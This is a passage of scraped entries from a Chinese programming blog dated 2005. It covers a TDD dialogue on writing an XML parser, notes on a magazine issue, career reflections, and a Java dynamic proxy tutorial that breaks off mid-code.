XmlTest result = parser.parse(); assertEquals(\u0026ldquo;my first test\u0026rdquo;, result.getName());\n}catch(FileNotFoundException fnfe){\nfail(\u0026ldquo;The program should not reach here\u0026rdquo;);\n}\n}\n}\n运行一下测试，一切Ok.还是那条令人兴奋的green bar\nTony : 以应用代码作为基础的的测试代码重构做完了，这两部分互相保证还是让我们很是放心的。\nAlex :是呀，要不继续。我们来想想下一个todo item。你觉得我们是不是该读取suite标签信息了亚？———-(3)\nTony :就按你所说我们继续添加测试用例testReadSuiteNode, 我们修改一下XmlTest使之存储Suite信息。\nAlex :那我们再创建一个类XmlSuite,然后在XmlTest中包含XmlSuite的集合。\nTony : 那我们的testReadSuiteNode可以这样写\npublic void testReadSuiteNode() {\ntry {\nXmlTest result = parser.parse();\nassertEquals(1, result.getXmlSuites().size());\nassertEquals(\u0026ldquo;test1\u0026rdquo;, result.getXmlSuites().get(0).getName());\nassertEquals(\u0026ldquo;unit\u0026rdquo;, result.getXmlSuites().get(0).getCategory());\n} catch (FileNotFoundException fnfe) {\nfail(\u0026ldquo;The program should not reach here\u0026rdquo;);\n}\n}\nAlex : 我们需要添加XmlSuite类，还要改写XmlTest\nTony :我们在XmlTest中用一个ArrayList来存储XmlSuite。并提供get和add suite方法\nAlex :我完成了，我们运行一下吧。green bar ，ok, let us have a short break!\n","permalink":"https://tonybai.com/2005/04/30/tony-alex-dialog-on-implement-xmlparser-using-tdd/","summary":"\u003cp\u003eTony : Alex今天我们来做一个xml parser.我们使用的开发工具为\u003ca href=\"http://eclipse.org\"\u003eEclipse\u003c/a\u003e + \u003ca href=\"http://junit.org\"\u003eJUnit\u003c/a\u003e\u003cbr\u003e\nAlex : 好啊，喜欢接受挑战。\u003cbr\u003e\nTony : 先看看我们要解析的xml file的样子:\u003c/p\u003e","title":"一个Xml Parser的TDD开发过程-Tony与Alex的对话系列"},{"content":"每次看完《程序员》杂志都会有些新的收获，这次看的是《程序员》2005年第4期，顺便把一些阅读过程中产生的想法记录了下来。\n[软件建模，大势所趋]\n看完微软、IBM、Borland等公司的最新动态，感觉软件建模是大势所趋，以前虽然也有众多建模工具，但是由工具支持得不好，建模的各个阶段彼此脱节，使用户体验(user experience)很差。随着Microsoft VSTS(Visual Studio Team System)的发布在即、随着Borland的ALM(Application Lifecycle Management )工具及基于Eclipse的产品计划的实施，相信在不久的将来软件建模会有一个很大的改观。\n[源代码就是设计]\nArtima上出现了“源代码就是设计”的续篇，作者阐明其观点：\na)“the source code is the design” does not mean “don\u0026rsquo;t do design , just code”;\nb) the design is a process but not a product；Somethings like UML diagrams or CRC cards are not the real software design.\nc)“we need good architectures (top level design), good abstractions (class design), and good implementations (low level design). ” UML diagrams or CRC cards可以帮我们完成top level design和class design，但是这并不意味着设计结束了。我们还需要low level design — that is the source code。\nd)“The only way we validate a software design is by building it and testing it. There is no silver bullet, and no \u0026ldquo;right way\u0026rdquo; to do design”作者坚持认为“不到写完代码，代码通过测试，设计工作就不算完。\n编码可以看作low level design，它是设计工作的延续，不到编码完成测试结束，我们永远不能知道我们的设计是否正确。\n[关注开源，参与开源]\n相信现在国内外任何一家软件厂商都不能不考虑“开源的影响力”了。从JDO2.0的起死回生，到EJB 3.0采纳了众多开源组织的建议，我们清醒地看到了这一点。同时我们国内的开源又是怎样的呢？不可否认的是中国的开源发展也是迅速的，但是还远远没达到“普及”的程度。我相信现在国内很多软件公司对开源的理解也只停留在“免费使用”这个层面上，用的时候还要“挑三捡四”一番。这和国外的“开源洪流”形成了鲜明的对比。最近传出Borland公司即将发布基于Eclipse的产品，BEA加入开源世界，虽说这背后有其“利益”因素在驱使，但是这也为我们国内厂商指明了一个大方向“关注开源，参与开源”。开源需要激情，国人期待在中国出现大师级的开源领袖，而实现这一目标首先需要你参与到开源世界中去。希望国内的软件厂商能把眼光放的更远一些，而不仅仅是现在的免费“索取”。\n[技术与市场]\n这是一个很有意思而又值得大家反思的话题，超前技术到底能不能带来市场收益上的“超前”，当年的Apple公司的Macintosh和鼠标的发明给了我们些许的启示“技术和市场不能脱节”，值得我们反思。\n[文档的作用]\n文档多被作为一种“成果物”，而不是沟通和交流的手段。大多数人为了文档而文档。文档形成后，便少有人问津了。\n[AOP是最佳解决方案]\n在最近的通用框架项目中设计“网管”模块，几乎框架中的所有模块都要使用其中的告警机制，感觉如果用AOP实现肯定会特别舒服，不过我们使用的是C语言开发，虽说C语言是“万能的”，不过到现在为止，我还没见到用C实现的AOP框架。\n[要事第一]\n这几天很多事情都摆在面前，干这件事的时候还在想着另外一件事，导致哪件事都没能做好。突然想起“高效能人士的7个习惯”一书中的一个习惯就是“要事第一”，把自己的事情按优先级分类，确定deadline，这回做起来就顺手一些了。\n[习惯的定义]\n昨晚，刚刚接受过“高效能人士的7各习惯”培训的my roommate问我一个问题，“什么是习惯”？愕然间，听到他的解析“习惯是知识、技巧与意愿三者的混合体，我们有付诸行动的愿望，在这样的一个思维惯性的推动下，久而久之就形成了经常性的行为–习惯”。Note：习惯是各中性词，怀习惯同样符合这一定义。\n[身体才是革命的本钱]\n昨天下午突然感觉身体有恙，浑身冒冷汗，做什么都做不进去，离开座位walk around for several minutes，还是感觉极差，所以请了假，早早回了寝室，躺在床上突然想到一句长辈们总在我们耳畔重复的话“身体是革命的本钱”。在寝室看完了上个星期买的《程序员》2005年第4期，写下了以上的文字。\n","permalink":"https://tonybai.com/2005/04/20/thoughts-after-reading-programmer-magazine-200504/","summary":"\u003cp\u003e每次看完《\u003ca href=\"http://www.programmer.com.cn\"\u003e程序员\u003c/a\u003e》杂志都会有些新的收获，这次看的是《程序员》2005年第4期，顺便把一些阅读过程中产生的想法记录了下来。\u003c/p\u003e\n\u003cp\u003e[软件建模，大势所趋]\u003cbr\u003e\n看完微软、IBM、Borland等公司的最新动态，感觉软件建模是大势所趋，以前虽然也有众多建模工具，但是由工具支持得不好，建模的各个阶段彼此脱节，使用户体验(user experience)很差。随着Microsoft VSTS(Visual Studio Team System)的发布在即、随着Borland的ALM(Application Lifecycle Management )工具及基于Eclipse的产品计划的实施，相信在不久的将来软件建模会有一个很大的改观。\u003c/p\u003e","title":"看完“程序员”2005-04期一些想法"},{"content":"第一次和大家分享知识的时间可以说比我预计的要“晚”，也可以说比我预计的要“早”。解释一下，之所以说“晚”，是因为我自己曾经准备了多个“topic”,但是总是感觉时机不成熟儿没能成行；之所以说“早”，是因为我决心要share的那个topic准备的还不够成熟。\n这次share被定在五一前，由于我觉得那个topic准备的还不够成熟，或者说是我能让我满意。也许可能还是我那个追求完美的心理在作祟。有一句谚语叫“Practice makes perfect”。达到令我满意的境地需要一个过程，但是如果没有第一次，你永远也达不到perfect的境地。所以我给我自己的确定了一些基本的准则：\n– 不要期望过高，演砸了也没关系，心态平和；\n– 把这次share当成一次发现自身问题的机会；\n– 精心准备(experience from dreamhead)。\n希望这次share对我来说是一个新的起点。\n","permalink":"https://tonybai.com/2005/04/19/my-first-knowledge-share/","summary":"\u003cp\u003e第一次和大家分享知识的时间可以说比我预计的要“晚”，也可以说比我预计的要“早”。解释一下，之所以说“晚”，是因为我自己曾经准备了多个“topic”,但是总是感觉时机不成熟儿没能成行；之所以说“早”，是因为我决心要share的那个topic准备的还不够成熟。\u003c/p\u003e","title":"My first knowledge share"},{"content":"昨天下班时，偶然间听到同事说“同样使用太祖长拳，为什么乔峰使出来的威力就那么大”，起初，只当作一句笑话，并未多想。今天早上在班车上的时候，突然想到了这件事，深思了一会儿，突然觉得其中还是蕴含着些许道理的。\n看过“天龙八部”这部电视剧或同名武侠小说的人都知道，乔峰的内功是极其精湛的，在书中除了那个“无名老僧”之外，能和乔峰内功媲美的估计是凤毛麟角了。之所以乔峰使用的“太祖长拳”威力无穷就是得益于其精湛的内功作为后盾。\n“内功”与“爱国主义”类似，它在不同的历史时期的含义有所不同；另外内功的修炼是阶段性的，不同层次的人眼中的“内功”又有所不同。\n“学生时代”\n在大学的时候我们的老师就苦口婆心的跟我们说“虽然我们的课程内容跟不上时代的脚步了，但是这些是基础，要夯实基础，练好内功”，我想那时老师所说的内功就是数据结构、操作系统、离散数学这些吧。而我们呢，却被市场上那些让人眼花缭乱的“招式”所吸引，不惜一切去尽可能多的学习各种“招式”，带着多而不精的招式我们毕业了，走向工作岗位…\n“工作了” — “此内功非彼内功”\n联想到同事的那句话，我们稍作修改便可以得到这样一个问题“同样精通Java或C的人开发程序，为什么人家的程序易维护，bug少呢？”，这也许也是你工作后的感觉之一。乔峰依靠的是精湛的内功心法，他们依靠的是什么呢？换句话说软件开发中的能称之为“内功”的到底是什么呢？相信如果让100个人回答这样的一个问题，必然会有许许多多的结果，这也是“内功修炼”的阶段性的结果，我的想法也是基于我自己所处的阶段的。\n设计能力，是体现我们内功是否精湛的一个标志。良好的设计是你的程序扩展性强，拥有很好的可测试性。在不同的“内功”基础上发挥同样的“招式”，自然就会分出好坏了，这也回答了前面的那个问题。\n有强大的“内功”做后盾，才能让我们的“太祖长拳”施展的淋漓尽致。有了“精湛的内功”后，各种“招式”就会融会贯通，无师自通。坚持“内功修炼”，总有一天你会体会到前方豁然开朗，什么“招式”对你来说都不成问题。\n","permalink":"https://tonybai.com/2005/04/18/thoughts-about-different-kungfu/","summary":"\u003cp\u003e昨天下班时，偶然间听到同事说“同样使用太祖长拳，为什么乔峰使出来的威力就那么大”，起初，只当作一句笑话，并未多想。今天早上在班车上的时候，突然想到了这件事，深思了一会儿，突然觉得其中还是蕴含着些许道理的。\u003c/p\u003e","title":"闲说“招式”与“内功”"},{"content":"微软又推出新语言了！最近在csdn上围绕着C-Omega和G#的话题有很多。每当我们看到一门新语言诞生时，特别是诞生在微软这样的软件帝国中，很多人都会冒出一身冷汗并大喊“Oh,My God! How fast the technology is going, I can not catch it up!” after that they still have to learn these new languages.\n当今软件行业的两大主流平台Microsoft的.NET和Sun、IBM以及开源组织的支持的Java平台。抛开技术细节，从技术大方向来说两个平台除了竞争之外，在技术上呈现出一种融合的趋势。微软新推出的这两种语言就是一个很好的例证。众所周知在Java界AOP这种概念正在迅速的占领着Java开发者们的思维领地，几个著名的开源组织也都发布了自己的AOP product，如JBoss AOP,Spring AOP，eclipse组织接纳AspectJ等。另外XML-\u0026gt;Object , Object-\u0026gt;XML以及ORM等技术也蓬勃发展。相比之下软件帝国微软的.net的步伐似乎有些慢了。C-Omega和G#的出现仿佛给生存在.NET平台下的人们带来了些生气。我们看到了.NET向Java学习的态度。其实Java 5.0的发布又何尝不是一种学习的结果呢，例如annotation、enhanced for loop grammar等。\n我们可不可以大胆的做出这样的一个猜测：“在软件领域，技术的殊途同归是一种必然的趋势。”\n","permalink":"https://tonybai.com/2005/04/15/microsoft-publish-new-language/","summary":"\u003cp\u003e微软又推出新语言了！最近在\u003ca href=\"http://csdn.net\"\u003ecsdn\u003c/a\u003e上围绕着C-Omega和G#的话题有很多。每当我们看到一门新语言诞生时，特别是诞生在微软这样的软件帝国中，很多人都会冒出一身冷汗并大喊“Oh,My God! How fast the technology is going, I can not catch it up!” after that they still have to learn these new languages.\u003c/p\u003e\n\u003cp\u003e当今软件行业的两大主流平台Microsoft的.NET和Sun、IBM以及开源组织的支持的Java平台。抛开技术细节，从技术大方向来说两个平台除了竞争之外，在技术上呈现出一种融合的趋势。微软新推出的这两种语言就是一个很好的例证。众所周知在Java界AOP这种概念正在迅速的占领着Java开发者们的思维领地，几个著名的开源组织也都发布了自己的AOP product，如JBoss AOP,Spring AOP，eclipse组织接纳AspectJ等。另外XML-\u0026gt;Object , Object-\u0026gt;XML以及ORM等技术也蓬勃发展。相比之下软件帝国微软的.net的步伐似乎有些慢了。C-Omega和G#的出现仿佛给生存在.NET平台下的人们带来了些生气。我们看到了.NET向Java学习的态度。其实Java 5.0的发布又何尝不是一种学习的结果呢，例如annotation、enhanced for loop grammar等。\u003c/p\u003e","title":"微软又推出新语言了"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2005/04/08/another-kongyiji/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"又一个“孔乙己”吗"},{"content":"看了透明发表在《程序员》杂志2005年第一期上的“动态代理的前世今生”，让我不仅了解了“动态代理”这门技术，更让我知道了一段Java技术的发展史。带着对Rickard Oberg的钦佩之情，怀着对Rod Johnson敬仰之义我踏上了动态代理再思考之路。\n**[**关键词]\n代理(proxy)\n基础设施(infrastructure)\n业务组件(business component)\n拦截器(interceptor)\n面向方面编程(AOP)\n千里之行，始于足下;\n九层之台，起于累土\n任何事情都不能一蹴而就，物极必反的道理相信大家都或多或少的懂一些。\n动态代理是一门较高级的技术，我们自己在平时的开发中也许很少用到，但是在你使用的开源工具包中也许就有它的足迹。动态代理技术用起来简单，但是理解起来并不是那么顺畅，我们从最简单的地方开说。\n我们先来看看动态代理的定义：\n[Definition]\n动态代理类是这样的一个类：可以在运行时、在创建这个类的时候才指定它所实现的接口。每个代理类的实例都有一个对应的InvocationHandler对象。\n也许看完这个定义，第一感觉是“看了还不如不看”J。\n不过在你理解了动态代理之后你会体会到这句话的确很精辟。\n下面是改自JDK Doc中的一个动态代理的例子，我们先来个感性认识，看例子的时候别忘了回头复习一下那个Definition，也你灵光一闪，一切都豁然开朗。\n/*******************************begin******************************************/\n[Demo-1]\n//要代理的接口的定义\npublic interface BusinessIntf {\nvoid doSomething();\n}\n//用户代码\nBusinessIntf b = (BusinessIntf)Proxy.newProxyInstance(BusinessIntf.class.getClassLoader ,\nnew Class[] { BusinessIntf.class },\nhandler);\nb.doSomething();\n/*********************************end****************************************/\n观后而感之，使用动态代理就这么简单。在运行时、在Proxy实例创建时指定要代理的接口（这里的代理接口是BusinessIntf，我们要通过Proxy来获得该接口的一个实现类的实例）。除了指定代理接口之外，我们不能忘记还有个重要的参数需要传递, 那就是一个InvocationHandler接口的实现。大家一定想到了真正的业务逻辑实现一定与handler参数有关，继续探秘。\n察看Doc，发现InvocationHandler下面只有这么一个方法：\nObject invoke(Object proxy, Method method, Object[] args) throws Throwable;\nDoc中的英文说明太长，不看了，找一个例子看看吧。\n/************************************begin************************************/\npublic class MyInvocationHandler implements InvocationHandler{\nprivate final Object target;\npublic MyInvocationHandler(final Object target){\nthis.target = target;\n}\npublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\ntry {\nObject result = method.invoke (target, args);\nreturn result;\n} catch (final InvocationTargetException e) {\nthrow e.getTargetException( );\n}\n}\n};\nBusinessImpl target = new BusinessImpl (); //BusinessImpl class implements the BusinessIntf\nMyInvocationHandler handler = new MyInvocationHandler (target);\n/***********************************end***************************************/\n恍然大悟，原来真正实现业务逻辑的是传给MyInvocationHandler的一个BusinessIntf的实现。\n也许你又陷入另一种疑惑当中，你心里可能在想这样的一个问题：只是为了获得BusinessIntf的一个实现类的实例而已，用得着使用动态代理这样高级的技术，绕个大圈子吗？像下面这样写不就可以了么\nBusinessIntf b = new BusinessImpl ();\nb.doSomething();\n或者如果想写的高级一点我们可以采用静态代理，使用工厂模式\n比如：\nclass BusinessFactory {\n//…\npublic static BusinessInf getBussinessImpl() {\nreturn new BusinessImpl();\n}\n}\nBusinessIntf b = BusinessFactory.getBussinessImpl();\nb.doSomething();\n我曾几何时不是这么想的。不过还是先看看下面的理由能否说服你吧。\n**[**理由1] – 大师言论\n《设计模式》一书中给出的理由是“我们有时需要提供一个代理来控制对这个对象（上面例子中的target，BusinessImpl的一个实例）的访问”。书中列举了几种可能使用到代理的情况：\n* Remote Proxy – 隐藏对象的空间信息\n* Virtual Proxy – 不常见\n* Protection Proxy – 访问权限控制\n* Smart Reference – 用于提供访问对象时的附加操作\n**[**理由2] – 动态性\n运行时改变 – 体现出其动态性\n之所以称之为动态代理，就是因为该代理类的实例可实现任意的业务接口，并且可以在运行时决定一个实例究竟实现哪个接口。\n从上面的代码也可以看出：\n1、 我们可以在运行时改变我们要实现的接口；\n2、 我们可以在运行时改变传入的InvocationHandler的实现；换句话说InvocationHandler可以创建任何接口的实例；\n3、 我们可以改变在MyInvocationHandler中那个真正实现业务逻辑的对象（就是那个target）。\n以上的动态性是使用静态代理较难做到的。\n美则观之，\n美则用之\n经过上面的阐述，我们领略些动态代理的优势，不过我们再来看看Demo-1的用户代码，\nBusinessIntf b = (BusinessIntf)Proxy.newProxyInstance(BusinessIntf.class.getClassLoader ,\nnew Class[] { BusinessIntf.class },\nhandler);\nb.doSomething();\n要使用BusinessIntf接口还真是不那么容易，起码我们需要自己传入handler，而handler的定义也给用户带来了很大的麻烦。\n我们要明确用户究竟想要什么？\n当用户写下如下代码“BusinessIntf b = ”时你会怎么想，显然用户需要的是一个BusinessIntf接口实现类的实例。而像上面的代码我们却要求用户写一些他们并不十分关心的东西，这显然不美。我们来做一下改进，使动态代理可以像静态代理那样用。\n[Demo-2]\n/*******************************begin******************************************/\npublic class BusinessProxyFactory {\npublic static BusinessIntf newProxyInstance() {\nBusinessImpl target = new BusinessImpl ();\nMyInvocationHandler handler = new MyInvocationHandler (target);\nreturn （BusinessIntf）Proxy.newProxyInstance(BusinessIntf.class.getClassLoader() ,\nnew Class[] { BusinessIntf.class },\nhandler);\n}\n}\n//用户代码\nBusinessIntf b = BusinessProxyFactory.newProxyInstance();\nb.doSomething();\n/*******************************end******************************************/\n轻量级容器之风行\n自从PicoContainer、Spring等轻量级容器诞生后，在J2EE世界就刮起了一股“轻量级”之风。轻量级容器实现了一种“依赖注入”的机制。\n以PicoContainer为例，它实现了\na) 全权管理组件的创建、生命周期和依赖关系；\nb) 使用者获取组件必须通过容器，容器保证组件全局唯一访问点。\n我在这里对上面的代码进行“容器化改造”，使之跟上“容器之风”J\n// GeneralInvocationHandler.java\npublic interface GeneralInvocationHandler extends InvocationHandler{\nClass getImplClass();\n}\n//ProxyFactory.java\npublic class ProxyFactory {\nprivate GeneralInvocationHandler handler;\npublic ProxyFactory(GeneralInvocationHandler handler){\nthis.handler = handler;\n}\npublic Object newProxyInstance(){\nreturn Proxy.newProxyInstance(handler.getImplClass().getClassLoader(),\nnew Class[] { handler.getImplClass() },\nhandler);\n}\n}\n[Note] Demo-3设计说明（2）\n在类图中BusinessImplProxy实现了GeneralInvocationHandler，并依赖BusinessIntf接口，也就是说一个GeneralInvocationHandler的实现类（如BusinessImplProxy）是与一个特定的业务接口绑定的，它只能代理唯一的接口，不过选择哪个代理接口的实现类，我们可以在配置文件中在运行时指定。\n//BusinessIntf.java,定义一个业务接口\npublic interface BusinessIntf {\nvoid doSomething();\n}\n//BusinessImplProxy.java,该类绑定了BusinessIntf接口\npublic class BusinessImplProxy implements GeneralInvocationHandler{\nprivate BusinessIntf b ;\npublic BusinessImplProxy(BusinessIntf b){\nthis.b = b;\n}\npublic Class getImplClass() {\nreturn BusinessIntf.class;\n}\npublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\ntry {\nObject result = method.invoke(b, args);\nreturn result;\n} catch (final InvocationTargetException ex) {\nthrow ex.getTargetException( );\n}\n}\n}\n[Note] Demo-3设计说明（3）\n经过上面的两个说明，我们可以得出下面结论：\n1、 ProxyFactory可以获取任意接口的实例,它依赖于一个绑定了特定业务接口的GeneralInvocationHandler的实现类；\n2、 GeneralInvocationHandler的实现类绑定了特定的业务接口，我们可以在运行时指定具体的业务接口的实现类；\n3、 所有这些我们都使用PicoContainer来进行组装，我们只需要提供配置文件。\n/*******************************begin******************************************/\n//Client.java ,欲使用BusinessIntf接口的Client\npublic class Client {\nprivate ProxyFactory pf;\npublic Client(ProxyFactory pf){\nthis.pf = 